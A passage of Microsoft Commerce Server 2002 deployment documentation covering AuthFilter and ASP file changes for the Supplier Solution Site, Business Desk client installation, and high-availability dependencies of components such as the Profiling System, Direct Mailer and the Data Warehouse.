    The Nltest.exe utility is provided in the Microsoft Windows 2000 Server Resource Kit.

  2. On the Active Directory server, point to Administrative Tools, and then click DNS. The domain information should appear under the Forward Lookup Zones node. If it does not appear, then the configuration is not correct.

You have successfully verified the Supplier Solution Site configuration. Continue to Step 8: Enable AuthFilter for the Supplier Solution Site.


Step 8: Enable AuthFilter for the Supplier Solution Site

This topic explains how to enable AuthFilter on the Supplier Solution Site.

Notes

  • Before performing these steps, it is recommended you read Important Information about AuthFilter for the Supplier Solution Site.
  • For the Login.asp for AuthFilter for the Supplier Solution site, see Login.asp Code for the Supplier Solution Site.

For the Supplier Solution Site and for using AuthFilter in Windows Authentication mode, you need to set the security mode on your domain controller to log on locally. If you have not yet done so, see Setting the Security Mode on the Web Server.

Only Basic Authentication should be enabled on the Supplier Solution Site. Do not change any other security settings.

The AuthFiles subfolder and all pages in it should have anonymous access enabled.

If your domain controller and Web server are installed on different computers in the same domain, then AuthFilter must have an anonymous account on the Web server in order to execute the method ProfileService.GetUserProfileByKey() on the Login page successfully for any profile/user.

By default, an anonymous user account is IUSR_<servername>. In Internet Services Manager, IUSR_<servername> does not have sufficient permissions to execute this successfully in this scenario. In addition, if your Web server is different from your domain-controller server, you must add a user account from that domain as the anonymous account. To do this you first create on the domain a user account that has access to read the user properties from Active Directory. Then on the Web server, use IIS Manager to set up the same user account as the anonymous account for the AuthFiles subfolder and all the files in that subfolder.

To enable AuthFilter on the Supplier Solution Site

  1. Expand Commerce Server Manager, expand Commerce Sites, and then click the site you want to administer.
  2. Expand Applications, right-click the name of the application that you want to work with, and then click Properties.
  3. In the Properties dialog box, on the General tab, under Commerce Authentication Filter, from the Authentication filter drop-down list, select either Windows Authentication or Custom Authentication, and then click OK.
  4. Expand Internet Information Services, right-click the Supplier site, and then click Properties.
  5. In the Properties dialog box, on the Directory Security tab, in the Anonymous access and authentication control section, click Edit.
  6. In the Authentication Methods dialog box, clear the Integrated Windows authentication box.

    Note

    • Only Basic Authentication should be enabled on the Supplier Solution Site. Do not change any other security settings.
  7. Use a text editor to open Authfiles\Login.asp for the Supplier site.
  8. If you are using a Web farm, or if you require proxy account support, in Login.asp, update the code so it matches the code shown in the topic, Login.asp Code for Supplier Solution Site.

    Important

    • If this is a single server that requires no support for proxy accounts, you do not need to update the Login.asp.
  9. For Windows Authentication, change the GetUserInfo() method in \SupplierAD\include\Std_access_lib.asp to the following:
    Sub GetUserInfo()
    Dim sAuthUser, mscsUser
    Dim aName

    If dictConfig.i_DelegatedAdminOptions = DELEGATED_ADMIN_SUPPORTED Then
        sAuthUser = LoginName(Request.ServerVariables("LOGON_USER"))
    Else
        sAuthUser = ""
    End If
        Rem Integrated Windows and basic auth take precedence over HTML form auth
        If sAuthUser <> "" Then
            m_UserAccessType = IIS_AUTH ' BASIC_AUTH
            m_UserType = AUTH_USER
            Set mscsUser = GetUserProfileByLoginName(sAuthUser)
            If mscsUser Is Nothing Then
               m_UserID = ""
            Else
               m_UserID = mscsUser.Fields(GetQualifiedName(GENERAL_INFO_GROUP, USER_ID)).Value
            End If
        Else
            If mscsAuthMgr.IsAuthenticated() Then
              sAuthUser = mscsAuthMgr.GetUserID(AUTH_TICKET)
              Set mscsUser = GetUserProfileByLoginName(sAuthUser)
                If mscsUser Is Nothing Then
                   m_UserID = ""
                Else
                  m_UserID = mscsUser.Fields(GetQualifiedName(GENERAL_INFO_GROUP, USER_ID)).Value
                End If
              m_UserAccessType = TICKET_AUTH
              m_UserType = AUTH_USER
            Else
                If Not IsNull(mscsAuthMgr.GetUserID(GUEST_TICKET)) Then
                   m_UserID = mscsAuthMgr.GetUserID(GUEST_TICKET)
                   m_UserAccessType = GUEST_VISIT
                   m_UserType = GUEST_USER
                Else
                   m_UserID = ""
                   m_UserAccessType = ANON_VISIT
                   m_UserType = ANON_USER
                End If
            End If
        End If
End Sub

  Function LoginName(ByVal sUserName)
    Dim aName

    If (sUserName = "") Then
      Exit Function
    End IF
    aName = Split (sUserName, "\")
    LoginName = aName(UBound(aName))
  End Function
  10. For Windows Authentication, in the PrepareLoginSection method in \SupplierAD\template\menu.asp, change code in a Request.ServerVariables string that is referring to the "AUTH_USER" server variable to instead refer to the "LOGON_USER" server variable. For example:

    Incorrect: sAuthUser = Request.ServerVariables("AUTH_USER")

    Correct: sAuthUser = Request.ServerVariables("LOGON_USER")

  11. Save and close the updated Login.asp and menu.asp pages.
  12. Restart IIS by running iisreset at the command prompt.

You have successfully enabled AuthFilter on the Supplier Solution Site. Continue to Step 9: Install the Business Desk Client.


Step 9: Install the Business Desk Client

After you unpack a site, you can install the Commerce Server Business Desk client by connecting to the Uniform Resource Locator (URL) for the Business Desk application.

To install the Business Desk client on Computer 2

  1. Click Start, point to Programs, and then click Internet Explorer.
  2. Using Internet Explorer, type http://<Webservername>/supplieradbizdesk as the URL to access the Business Desk for the Supplier Solution Site.
  3. In the Browse for Folder dialog box, accept the default folder, or select another folder to store the HTML Application (HTA) file, and then click OK. The Business Desk client will be downloaded and installed on Computer 2.
  4. After Business Desk installation has completed, close Internet Explorer. The Business Desk icon now appears as a shortcut on your desktop and on the Start menu.

For more information about installing the Business Desk client, see the Commerce Server 2002 Installation Guide.

You have successfully installed the Business Desk client on the second computer. Continue to Step 10: Verify Business Desk and Supplier Site Configuration.


Step 10: Verify Business Desk and Supplier Site Configuration

In this verification procedure, you use Business Desk to create a new user who is an administrator, and then you create a delegated administrator at the Supplier site.

To verify Business Desk and Supplier Site Configuration

  1. On the Business Desk client computer (Computer 2), log on as a domain administrator.
  2. Install Business Desk by navigating to the URL http://<Webservername>/supplieradbizdesk.
  3. In the Profiles module of Business Desk, click Users and add a new user (for example, Sean Chai). For instructions on adding a user, see Adding a User Profile.
  4. Search for the new user by typing * in the search field, and then click Find Now. If the new user appears in the list of results, then Business Desk is properly integrated with Active Directory for storing user profiles.
  5. Navigate to the URL http://<Webservername>/SupplierAD.
  6. At the login page, type the user name and password. Use the Domain\Username or User Principal Name (UPN) format when specifying the user name. If you are not a registered user, click the link at the bottom of the page (you must add a custom registration page on which you can create accounts in Active Directory).

The Login.asp page sets the MSCSAuth ticket for the registered user, retrieves the user profile, validates credentials (if required), and populates the default Web page using the user profile. If the username or password are invalid, or if the profile could not be found, the Login.asp page is displayed again (requiring the user to login or register).

If Business Desk and the Supplier Solution Site are configured properly, continue to Step 11: Edit ASP Files.


Step 11: Edit ASP Files

Before using the Supplier Solution Site, you must edit the following ASP files to enable the functionality required by the Supplier Solution Site:

  • Catalog.asp
  • Login.asp
  • Requisition.asp
  • StepSrch.asp


Changing Catalog.asp

Edit the catalog.asp file so that catalog set restrictions can be viewed from the site.

To change Catalog.asp

  1. Open the catalog.asp file by using a plain-text application such as Microsoft Notepad. The catalog.asp file is located in the <drive>:\inetpub\wwwroot\<site name>\include folder on the Commerce Server computer, where <drive> is the drive where IIS is installed.
  2. Within the catalog.asp file, search for the function mscsUserCatalogsetID.
  3. Within this function, search for the text string:

    Set rsOrg = rsGetProfileByKey(FIELD_ORG_ORG_ID, org_id, PROFILE_TYPE_ORG, False)

  4. Replace this text string with the following text:

    Set rsOrg = rsGetProfileByKey(FIELD_ORG_NAME, org_id, PROFILE_TYPE_ORG, False)

  5. Within the catalog.asp file, search for the following function:
    mscsUserCatalogsFromID(ByVal CatalogSetID)
  6. Within this function, search for the following text:
    Set mscsCatalogSets = Server.CreateObject("Commerce.CatalogSets")
  7. Replace the text listed above with the following text:
    Set mscsCatalogSets = Server.CreateObject("Commerce.CatalogSets2")
mscsCatalogSets.OrganizationObjectJoinKey  = FIELD_ORG_NAME
  8. Within the catalog.asp file, search for the following function:
    mscsUserCatalogs
  9. Replace all of the text in this function with the following text:
    Dim userCatalogsetID
userCatalogsetID = mscsUserCatalogsetID()
set mscsUserCatalogs = mscsUserCatalogsFromID(userCatalogsetID)


Changing Login.asp

Edit the login.asp file so that if IIS is reset during a session, users will be prompted to log on again.

To change Login.asp

  1. Open the login.asp file by using a plain-text application such as Microsoft Notepad. The login.asp file is located in the Program Files\Microsoft Commerce Server 2002\AuthFiles folder on the Commerce Server 2002 CD-ROM.
  2. Within the Login.asp file, search for the following text:
    if objAuth.IsAuthenticated(30)
  3. Replace the above text beginning with:
    if objAuth.IsAuthenticated(30)
and ending with:
Set objAuth = Nothing
with the following text:
PrintLogin
End If
Set objAuth = Nothing


Changing Requisition.asp

Edit the requisition.asp file so that orders can be viewed from the site.

To change Requisition.asp

Within the requisition.asp file, do the following:

  1. Open the requisition.asp file by using a plain-text application such as Microsoft Notepad. The requisition.asp file is located in the <drive>:\inetpub\wwwroot\<site name>\services\include folder on the Commerce Server computer, where <drive> is the drive where IIS is installed.
  2. Within the requisition.asp file, search for the function rsGetOrdersList.
  3. Within this function, search for the text string:
    oSearchInfo.user_org_id = mscsUserProfile(USER_ORGID).Value
  4. Replace the text listed above with the following text:
    Dim org_id
Dim rsOrg
If Not IsNull(org_name) Then
' Set rsGetProfile's bForceDBLookUp to False to avoid a database look-up.
Set rsOrg = rsGetProfileByKey(FIELD_ORG_NAME, org_id, PROFILE_TYPE_ORG, False)
If Not rsOrg Is Nothing Then
oSearchInfo.user_org_id = rsOrg.Fields.Item("GeneralInfo.org_id").Value
End If
End If


Changing Stepsrch.asp

Edit the stepsrch.asp file so that property definitions that include hyphens (–) can be searched.

Change Stepsrch.asp

  1. Open the stepsrch.asp file by using a plain-text application such as Microsoft Notepad. The stepsrch.asp file is located in the <drive>:\inetpub\wwwroot\<site name> folder on the Commerce Server computer, where <drive> is the drive where IIS is installed.
  2. Within the stepsrch.asp file, search for the following function:
    Sub PerformSpecificationSearch
  3. Within this function, search for the following text:
    sColList = sColList + "," + oCatalog.IdentifyingProductProperty
  4. Replace the text listed above with the following text:
    sColList = sColList + ",[" + oCatalog.IdentifyingProductProperty + "]"
  5. After you have edited the four ASP files, run iisreset at the command prompt.
After IIS restarts, installation of the Supplier Solution Site on a two-computer configuration is complete.

For instructions about managing the Supplier Solution Site, see the Business-to-Business Tutorial.


Deploying in Distributed Environments

In large-scale deployments, each Commerce Server 2002 component can be installed on its own separate database. This section lists the high-availability dependencies that you should consider for each component when deploying in a distributed environment.

This section contains:

  • Administration Database
  • Profiling System
  • Product Catalog System
  • Targeting System
  • Direct Mailer
  • Predictor
  • Authentication
  • Business Process Pipeline
  • Data Warehouse
  • Deploying Multiple Sites That Share a Single Data Warehouse


Administration Database

You use the Commerce Server Administration database to store configuration information for Commerce Server resources, including global resources shared by all sites, as well as site-specific resources.

You can make the Administration database redundant with Windows Clustering. You can use either of the following configuration types to provide redundancy:

  • Active-active configuration. All nodes are running and hosting a database.
  • Active-passive configuration. One node is running and hosting a database; all other nodes are idle (in backup mode), ready to run and host the database if the active node fails.

When the IIS application is loaded (the first time an ASP page is accessed within the application virtual directory), the Application_OnStart subroutine is called to load the Administration database into the cache. The Application_OnStart subroutine loads application variables using the SiteConfigReadOnly object, which requires a connection to the Administration database.

If the Application_OnStart subroutine fails (for example, if the computer running SQL Server is failing or simply is not available), you must do one of the following to reload the application variables:

  • Run an ASP page that runs all initialization performed by the Global.asa file. This is the least intrusive option. You should use access control lists (ACLs) to protect the ASP page so that only authorized personnel or processes can run it.
  • Unload the Commerce Server application from IIS Manager.
  • Run the IISReset command; this option is intrusive because it resets all ASP applications running on IIS server.
  • Reboot the Web server; this is the most intrusive option, because it impacts all applications and services running on the Web server.

You can script all of these options.

See Also

Managing the Administration Database


Profiling System

You can use the Commerce Server Profiling System to aggregate data from multiple data stores such as Active Directory (Lightweight Directory Access Protocol (LDAP) version 3.0), and SQL Server.

By using the Profiling System you can store data in the data store that is most appropriate for the usage profile.

  • Directory services are usually optimized for read-only operations, because of inherent security features.
  • SQL Server is optimized equally well for read and write operations, but has fewer inherent security features.
  • You should use Active Directory to store data that is mostly static throughout a visit to your site, or data that must be secured with ACLs.
  • Use SQL Server to store data that is volatile throughout a visit.

For example, Active Directory is based on a hierarchical LDAP model, which is excellent for fast, single-item retrieval. Attributes stored in Active Directory are easily available to other applications that might be running in the data center. Examples of attributes that might best be stored in Active Directory are User Name, Address, and City.

In contrast, Commerce Server-specific attributes that are volatile, such as date of last purchase, should be stored in a SQL Server database, to take advantage of the capacity of SQL Server to handle high rates of updates. Data availability can vary significantly, depending on what combination of data stores you use to maintain the data.

To generate a large-scale, highly available Profiles database, you should use a hash-based partition cluster of servers running SQL Server based on Windows Clustering. Hashing assigns a user to a particular Profiles partition.

The following figure shows how you might set up a hash-based partition cluster of SQL Server servers. Each Profiling System server is running Windows Clustering.

A figure that shows a hash-based partition cluster of SQL Server servers

The following figure shows Windows Clustering in an active-passive configuration with a shared disk.

A figure that shows Windows clustering in an active-passive configuration with a shared disk

Note

  • If you use the partitioned architecture described in this section, you should create partitions before you begin. If you add partitions after your site contains user data, you will have to remove and restore user data to be sure that it is stored in the correct partition.

The Profiling System opens a database connection, reads configuration information, and builds a profile configuration cache from that information. Connections to the database are pooled and have built-in retry logic if a connection is lost.

Access to the Profiling System is initiated in the Application_OnStart function in Global.ASA. Subsequently, the Web application accesses the Profiles database and underlying profile data stores through the Profiling System, Profile objects, and the OLE DB Provider for Commerce Server (using Active Directory objects). The Profiling System single-point-of-failure dependencies are:

  • The AppConfig object (to find the Profiles database connection string).
  • The Administration database.
  • The Profiles database (to find schema, site terms, and expressions information).
  • SQL Profile data stores.
  • Active Directory LDAP data stores.
  • LDAP data stores.
  • Third-party OLE DB/ODBC data stores.

See Also

Running the Profiles Resource

Business Desk Profiles


Integrating User Data from Third-Party Data Stores

You can use the Profiling System to integrate data from third-party stores (such as data residing in an Oracle database). Depending on what you want to do, it might be cost effective to set up a highly available configuration for the third-party data store. Be aware, however, that if a read of any of the underlying data sources fails, then the entire operation fails. You can set up redundancy for third-party data stores by creating a virtual server from the multiple data stores. The data source name (DSN) that the Profiling System uses should then be established with the virtual server.


Aggregating User Data from Multiple Stores

Whenever you must place data into different data stores, there is a risk that one or more of the stores will be unavailable. The following figure shows an unavailable data store.

A figure that shows an unavailable data store

To protect against this situation, the Profiling System supports the notion of a loose transaction. A loose transaction is one in which writes and updates to transacted stores (such as SQL Server and Oracle) aggregated by the Profiling System are committed only if operations to non-transacted stores (Active Directory) succeed.

The following logic example describes how Commerce Server processes loose transactions in a site in which Active Directory, SQL Server, and Oracle stores are all used to store user profile attributes. It is enabled by the isTransactioned attribute of the profile definition. The logic example is:

   Start transaction for SQL Server
   Write changes
      Start transaction for Oracle
      Write changes
         Write changes to Active Directory_1
      Commit changes_2
   Commit changes_3

If 1 fails, then 2 & 3 abort.
If 1 succeeds and 2 fails, then Active Directory store is inconsistent.
If 1 & 2 succeed, 3 fails, then SQL Server is inconsistent.

The Profiling System does not support two-phase commits.


Product Catalog System

In the Commerce Server Product Catalog System, you can make the Catalogs database redundant by installing it on multiple Web servers fronted by a single-IP solution. In this configuration, a computer running SQL Server publishes product catalogs to subscribing computers running SQL Server (the production computers). The subscribers have read-only versions of the product catalogs, and are load balanced using Network Load Balancing (NLB).

Since only one connection string is supported, this configuration requires a hosts file on the server running Commerce Server Business Desk to reference the SQL Server publisher instead of the subscribers.

  • Small installation. Use either active-active or active-passive clustering. This configuration supports two nodes running Microsoft Windows 2000 Server or four nodes running Microsoft Windows 2000 Datacenter Server.
  • Large installation. Use NLB to cluster servers running SQL Server and to provide a single, virtual database name for the Catalogs database business logic to access.

    Or, you can use SQL Server replication (either snapshot or transaction, depending on your requirements) to maintain data consistency among servers running SQL Server.

    The following figure shows how a configuration using NLB might look. In practice, NLB has been tested with a cluster containing as many as eight servers running SQL Server.

    A figure that shows a Catalogs database cluster using NLB

  • Very large installation. Put a single-IP solution in front of multiple NLB clusters. The following figure shows what the structure of a Catalogs database might look like for a very large installation.

A figure that shows the structure of a Catalogs database for a very large site

The Product Catalog System maintains a continuous connection to database tables. If the connection is lost due to network or database problems, the Product Catalog System attempts to reestablish the connection.

Access to the Catalog database is initialized in the Application_OnStart function in Global.ASA. Subsequently, the Web application accesses product catalog information through the CatalogManager object, which in turn accesses the Catalog database. The CatalogManager object has the following single-point-of-failure dependencies:

  • The AppConfig object (to find the catalog database connection string)
  • The Administration database
  • The Catalog database (to retrieve schema and data)
  • The NTFS file system (to import and export the catalog XML file)

See Also

Replicating Catalog Content

Business Desk Catalogs


Targeting System

The Commerce Server Targeting System business logic caches all of its working information, including discounts, advertisements, shipping, and tax information.

The CacheManager object has built-in retry logic, which you set using the RetryInterval property.

A refresh timer, specified programmatically by the RefreshInterval property of the CacheManager object, controls the frequency with which the CacheManager refreshes a particular cache object. A connection to the database is created each time the cache is refreshed. An existing cache is not discarded until the refresh of the cache has successfully completed.

You can install the Targeting System on multiple Web servers and make it highly available using a Network Load Balancing (NLB) cluster of computers running SQL Server.

The following figure shows the smallest database solution that you can use to get the clustering results you want. In this figure, the Network Load Balancing cluster is configured to direct traffic to the Primary SQL Server first. It directs traffic to the Secondary SQL Server only if the Primary SQL Server is down.

A figure that shows how the Targeting System can be clustered

The Targeting System has the following single-point-of-failure dependencies:

  • The AppConfig object (to find connection strings to the required databases)
  • The Administration database (initialization)
  • The Catalog database (for product information)
  • The Profiles database (for expressions)
  • The Marketing database


Direct Mailer

Direct Mailer can be deployed as a highly available clustered resource that takes advantage of Windows Clustering.

Direct Mailer depends on SQL Server Agent, and SQL Server Agent is cluster aware, so you can install the Direct Mailer database in a Windows Clustering configuration.

Although you can have only one Direct Mailer per site (as specified by the Direct Mailer global resource), you can install Direct Mailer on multiple servers. Multiple Direct Mailer services cannot share the same Direct Mailer database.

In addition to being cluster aware, Direct Mailer handles the failures of a clustered Direct Mailer database or the failure of the drop point, which can be either Simple Mail Transfer Protocol (SMTP) or drop directory. For example, Direct Mailer has the following features to handle failures:

  • Direct Mailer opens a database connection at startup to recover any interrupted jobs. It also opens a database connection for each job. If the database connection is lost, Direct Mailer is able to handle the transient connection failures.
  • Jobs that fail due to a recoverable error (for example, the server crashed or the MSSQLSERVER service became unavailable for a prolonged period) are automatically restarted when the service is restarted.
  • Each job tracks its progress through a mailing list. However, depending on when a failure occurs, the last message sent before the failure can be sent a second time when Direct Mailer restarts.

You can configure Direct Mailer to use multiple threads, and it is possible that one duplicate message for each thread will be sent when the Direct Mailer restarts. (The number of duplicate messages is usually equal to as many threads as there are processors.)

The following table lists the retries that occur for each failure mode.

Failure mode | Action
During import/export preparation for mailing, List Manager fails. | If the failure is determined to be recoverable (for example, SQL Server is unavailable) and not a data problem, then the operation is retried up to n times. Otherwise, Fail.
List Manager cannot be co-created. | Fail. List Manager is not cluster-aware.
During a mailing, the Direct Mail database server fails. Retry n times. In Commerce Server Manager, set the following Direct Mailer properties:
  • Number of Retries. The number of times a connection to the DirectMailer database is retried when a connection failure occurs. Once the number of retries has been exhausted, the active job is terminated.
  • Retry Interval. The length of time that DirectMailer waits between retries.
During a mailing, an SMTP server becomes unavailable. | Pause and retry n times. If it continues to fail, it is removed from the list. If it is the last one in the list, Fail.
During a mailing, a drop directory becomes unavailable. | Pause and retry n times. If it continues to fail, it is removed from the list. If it is the last one in the list, Fail.

You install Direct Mailer on a SQL Server as a Windows Service. Direct Mailer accesses the Administration database for initialization, and then uses the Profiling System to obtain user profile information, Direct Mailer for job information, and IIS to render personalized pages. Finally, Direct Mailer uses the Exchange Server mail drop directory (or an SMTP server) to send its mail. Direct Mailer has the following single-point-of-failure dependencies:

  • The AppConfig object
  • The Administration database (initialization)
  • List Manager
  • Direct Mailer database
  • IIS
  • NTFS (Exchange Server mail drop directory)
  • SMTP server (socket connection)

Use the following steps to ensure availability of the List Manager service:

  • Cluster the databases that List Manager connects to: Campaigns database for using the Commerce Server Business Desk, and the Direct Mailer database.
  • List Manager is both a server and a client on the same physical computer and does not benefit from clustering. Do not deploy Windows Clustering for the List Manager service.
  • The objects and services that use List Manager always connect to the local instance, so List Manager does not need to be clustered.

See Also

Running Direct Mailer

Creating Direct Mail

Managing Lists of User Records


Predictor

You can install the Predictor service on its own server. The Predictor service runs as a Windows Service; it takes input from the Data Warehouse database and generates Predictor models. The Predictor service has the following single-point-of-failure dependencies:

  • The Administration database
  • The Data Warehouse database

To ensure the availability of the Predictor service, deploy Windows Clustering for the Administration database. You can also deploy Windows Clustering for the Predictor service itself as a Windows Service, and allow it to fail over to another node.

The Predictor client is implemented as an ASP component; it reads the Predictor model from the Data Warehouse database and responds to requests made from ASP pages via method calls. The Predictor client has the following single-point-of-failure dependencies:

  • The Administration database
  • The Data Warehouse database

To ensure the availability of the Predictor service, deploy Windows Clustering for the Administration database. Commerce Server 2002 Data Warehouse does not support failover clustering.

See Also

Running the Predictor Resource


Authentication

AuthFilter is implemented as an Internet Information Services (IIS) 5.0 Internet Server Application Programming Interface (ISAPI) filter. It calls the AuthManager object to obtain configuration information at initialization time from the Administration database (including authentication mode parameters and the encryption key). The only dependency for the AuthFilter is the Administration database.

When a user accesses a site with multiple Web servers, the request is directed to a particular server based on load balancing or a round-robin algorithm. When the request arrives at the server, the user is asked to log in.

If you are using the Active Directory directory service for authentication, the login is cached by the ISAPI filter and is specific to that server. Commerce Server also places a ticket cookie containing the user ID onto the client server.

To enable users to be seamlessly redirected to other Web servers in the cluster, you must ensure that sufficient information can be passed to the ISAPI filter on the other servers so that the user can be logged in. You must write custom code to hide this process from the user. To write the custom code, do the following:

  1. Extend the Profiles store to store the password.
  2. Capture the password in the Profiles store during login or site registration.
  3. Modify the site registration or login page to check for the presence of the ticket cookie.

    If the cookie exists, use the MSCSAuthManager object to get the user ID from the cookie and retrieve the user name and password from the Profiles store, then pass the user name and password back to the ISAPI filter.

To operate in a load-balanced cluster, you must store the passwords with reversible encryption. Because passwords are captured on the login page and written to the Profiles store, the login page also captures password changes. However, if Active Directory tools are used to change a password during a browser session, the user will be prompted for login and the new password will be captured.

Note

  • You can address the previous authentication issue by deploying Application Center Request Forwarder, which can forward the request prior to authentication being assessed, and can then forward the user to the server that will recognize that user.


Business Process Pipeline

Pipeline components are not designed to retry after a failed attempt. When the pipeline stops processing, the pipeline process fails and the order is not processed.

To implement high availability, you can implement code in the ASP page to retry a failed pipeline process, and after n failures, to write the transaction to an alternate database, file, or Message Queuing queue.

You can install pipeline components on multiple Web servers and make them highly available using a single-IP solution. With Network Load Balancing, you can create a single virtual server from all the servers on which pipeline components are installed. If there is a problem, the server that is not working is automatically removed from the cluster and the load is distributed to the functioning servers in the cluster.

The following figure shows how you might distribute pipeline components.

A figure that shows distributed pipeline components

Custom pipeline components can be hosted on a Component Load Balancing server, if they are CPU-intensive. (Component Load Balancing is available with Microsoft Application Center 2000.) There is a cost for sharing data between servers, but that cost might be acceptable if a large volume of processing will be done by the component. For example, a digital media site might encrypt music with a public key to prevent piracy. Encryption is CPU-intensive, so it could be worthwhile to move that process to a separate server. You might cluster the servers on which the encryption component is running and activate them by using one of the Web servers running other parts of the pipeline.

The following figure shows how you might separate CPU-intensive services from other services.

A figure that shows CPU-intensive services that are separated from other services

You use COM+ pipeline components to access the Order Processing pipeline (OPP). Components are pooled, but there is an initialization, reset, and recycle interface that is called when the OrderForm object is recycled into the pool. You can use that interface to release connections, free memory, and so on, when the OrderForm object is returned to the pool, and to initialize database connections when components are requested.

The Business Process Pipeline has the following single-point-of-failure dependencies:

  • The QueryCatalogInformation object accessing the Catalogs database
  • The Transactions database (to save and load baskets and orders)
  • Remote COM+ applications (if any)


Data Warehouse

The Data Warehouse has offline and online components. These two components have very different availability requirements. A very large database that contains imported raw data should be unavailable for querying (offline) while data is being imported. If necessary, it can be clustered. Alternatively, if you do not require a high degree of availability for the database, you can back it up on a regular basis to tape or other permanent media. Commerce Server 2002 Data Warehouse does not support OLAP clustering.

The Data Warehouse imports IIS logs for the Business Analytics System and the Targeting System. The Data Warehouse has the following single-point-of-failure dependencies:

  • The Administration database (initialization)
  • IIS Log Import process
  • IIS Log File System
  • Product catalog import Data Transformation Services (DTS) task
  • Transaction data (baskets and orders) import DTS task
  • Profile data import DTS task
  • Campaign data import DTS task

Use the following steps to ensure the availability of the Data Warehouse:

  • Deploy Windows Clustering for the Administration, Profiling, Catalog, Transactions, and Marketing databases.
  • Deploy Windows Clustering for NTFS (IIS Log File System).

Online analytical processing (OLAP) cubes are data structures that the Data Warehouse uses to contain the data you import. The Business Analytics System uses this data to generate static and dynamic reports. This system has the following single-point-of-failure dependencies:

  • The Administration database
  • The Data Warehouse database
  • The OLAP/Analysis database
  • Commerce Server Business Desk

Use the following steps to ensure the availability of the Business Analytics System:

Deploy Windows Clustering for the Administration and Data Warehouse database. The Data Warehouse does not support OLAP clustering.

Note

  • You can add computers running SQL Server to Windows Clustering; OLAP servers cannot be clustered using Windows Clustering.

The Data Warehouse opens a database connection for each import and parser Data Transformation Services (DTS) task. The connection is maintained for the duration of the process and then dropped. If the database becomes unavailable during the process, the process fails, but you can restart it. If a failure occurs during import processing, you must manually delete any data that was only partially imported, and restart all import DTS tasks. If a failure occurs during cube generation, you must manually restart the post-import DTS task.

Commerce Server Data Warehouse has several features that enhance reliability. These features include:

  • Task retry. You use the retry options of the Commerce Server DTS tasks to control how many times and how frequently Commerce Server will try to run failed tasks.
  • Web log file import restart. You use the restart option for the Web log file import DTS task to control how Commerce Server deals with a Web log file import failure after all of the retry attempts have been used.
  • Task History. You use the Commerce Server Manager Task History to view the status of executed DTS tasks.

Using these features, you can maximize availability and reliability of the Data Warehouse by letting the import process restart and skip erroneous logs.

See Also

Running the Data Warehouse


Deploying Multiple Sites That Share a Single Data Warehouse

You can deploy multiple Microsoft Commerce Server sites that share a single Data Warehouse. You can unpack the sites to a local or remote computer and add them to a Data Warehouse that is installed on a local or remote computer.

Important

  • Commerce Server reports will show data for all sites in the Data Warehouse. Use grouped reports to run reports for a single site. For information about grouped reports, see Creating Grouped Reports.

For information about using a single Data Warehouse with multiple sites, see Multiple Sites and One Data Warehouse.

Use the following procedures to unpack two sites that share a single Data Warehouse resource and a single Profiles resource.

To unpack the first site

To add an additional site to the Data Warehouse

To unpack the first site

  1. Click Start, point to Programs, point to Microsoft Commerce Server 2002, and then click Commerce Site Packager.
  2. In the Welcome to the Commerce Server Site Packager dialog box, select Unpack from a package file (.pup), and then click Next.
  3. In the Unpack dialog box, type the path and file name of the file you want to unpack, or click Browse.
  4. If you clicked Browse , in the Open dialog box, navigate to the folder that contains the file you want to unpack, select the file, and then click Open.
  5. When the Unpack dialog box reappears, select Custom unpack, and then click Next.
  6. In the Unpack Method dialog box, select Create a new site, and then click Next.
  7. In the Site name dialog box, type the name for the new site, and then click Next.

    Notes

    The site name has the following site name restrictions:

    • Do not use special characters (such as #, @, %, and ') that might not be recognized by SQL Server databases. For more information, see SQL Books Online.
    • Do not name your site "Commerce." This is a reserved OLAP database name. Naming your site "Commerce" could cause overwriting of your OLAP database the next time you unpack a site.
    • The site name can contain a maximum of 127 characters.
  8. In the Select Resources dialog box, click Add All, and then click Next.

    Note

    • In the Select Resources dialog box, you must install the CS Authentication and Profiles resources together. They do not work unless both are installed.
  9. In the Global Resource Pointers dialog box, in the Global resource pointers list, select Data Warehouse.
  10. In the Existing global resources drop-down list, select (Add new global resource).
  11. In the Global resource pointers list, select Profiles, in the Existing global resources drop-down list, select (Add new global resource), and then click Next.
  12. In the Database Connection Strings dialog box, Site Packager lists the databases it will create and the servers on which it will create them. To change the databases and servers, click Modify. In the Data Link Properties dialog box, select or type the new database(s) and server name(s), and then click OK.

    Note

    • If you want to copy a database connection string, select the row that contains the connection string you want to copy, and then click Modify. In the Data Link Properties dialog box, select or type the server and database name(s) you want to copy, and then click OK. In the Database Connection Strings dialog box, reselect the row that contains the connection string you want to copy, and then click Copy. Select the row(s) to which you want to copy the connection string, and then click Paste.
  13. Click Next.
  14. The Commerce Server Site Packager dialog box appears if Site Packager needs to create a database(s). The information you provide in this dialog box is used to connect to the Master database on your SQL Server installation.
  15. In the Commerce Server Site Packager dialog box, do the following:
    Use this | To do this
    Use Windows Integrated security Select this option if you want to use integrated Windows security for the databases.

    Windows Integrated Security is the recommended configuration for Commerce Server. It is also known as Windows Authentication. For more information on Windows Authentication, see Using Windows Authentication.

    Note

    • When you use Windows Integrated Security, user names and passwords are not stored in the SQL Server connection string, and are not affected by SQL password resets. For information about Commerce Server security, see Securing Your Site.
    Use a specific user name and password Select this option if you want to use SQL Server authentication when connecting to the databases.

    Note

    • You should always use a strong password when creating passwords. For more information about strong passwords, see Using Strong Passwords.
    SQL Server Login Name | Type the SQL Server login name for the databases.
    SQL Server Login Password | Type the SQL Server login password.
  16. Click OK.
  17. In the Select Applications dialog box, verify that the applications you want to unpack are selected, and then click Next.
  18. In the Select IIS Computers, Web Sites and Paths dialog box, do the following:
    Use this | To do this
    IIS computer name Type the computer name of the IIS Web server to which you want to unpack the application files.

    Note

    • If you specify to unpack the application files on a remote server, the server onto which you unpack the applications must have Commerce Server 2002 installed, or you will not be able to run Business Desk on it.
    Refresh
    • Click to update the list of Web sites on the remote computer.
    IIS Web site Select the name of the IIS Web site for the selected applications.

    Note

    • If you unpack a site onto the IIS Administrative Web site, the site and Business Desk will not function due to IIS administration security limitations.
    IIS path | Type the name of the IIS path for the selected applications.

    Notes

    • To avoid IIS errors, you should not include special characters (such as #, @, %, and ') in your virtual directory names.
    • Site Packager will unpack each application under the home directory of its corresponding IIS Web site. Within the home directory, Site Packager creates a subfolder using the IIS virtual directory name of the application.
    • If you want to unpack the application to the root of the Web site, you can use the "/" character or leave the IIS path field blank.
  19. Click Next.
  20. If you added the Data Warehouse resource to the site, the Data Warehouse dialog box appears. To specify the settings for the Data Warehouse resource, do the following:
    Use this | To do this
    Name | Type a name for the global Data Warehouse resource.
    Server | Type the name of the SQL Analysis (OLAP) computer.
    Database | Type the name of the Analysis (OLAP) database to use.
